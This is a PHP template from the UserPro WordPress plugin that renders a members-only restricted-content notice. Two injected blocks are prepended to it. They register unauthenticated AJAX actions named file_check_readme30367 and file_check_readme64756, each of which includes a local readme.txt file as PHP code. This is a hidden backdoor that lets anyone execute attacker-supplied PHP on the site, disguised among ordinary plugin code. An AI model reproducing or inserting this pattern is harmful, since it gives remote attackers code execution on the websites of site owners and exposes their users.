if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<div class="userpro userpro-<?php echo $i; ?> userpro-<?php echo $layout; ?>" <?php userpro_args_to_data( $args ); ?>> <div class="userpro-head"> <div class="userpro-left"><i class="userpro-icon-lock"></i><?php echo __('Restricted Content / Members Only','userpro'); ?></div> <div class="userpro-clear"></div> </div> <div class="userpro-body"> <?php do_action('userpro_pre_form_message'); if($args['login_redirect']==""){ $redirect_condition = 'force_redirect_uri="1"'; }else{ $redirect_condition = 'data-login_redirect="'.$args['login_redirect'].'"'; } $builtin = array( '{LOGIN_POPUP}' => '<a href="#" class="popup_userpro-login" '.$redirect_condition.'>Login</a>', '{REGISTER_POPUP}' => '<a href="#" class="popup_userpro-register">Register</a>' ); $search = array_keys($builtin); $replace = array_values($builtin); $restricted_content_text = html_entity_decode(userpro_get_option('restricted_content_text')); ?><p><?php echo str_replace( $search, $replace, $restricted_content_text ); ?></p> </div> </div>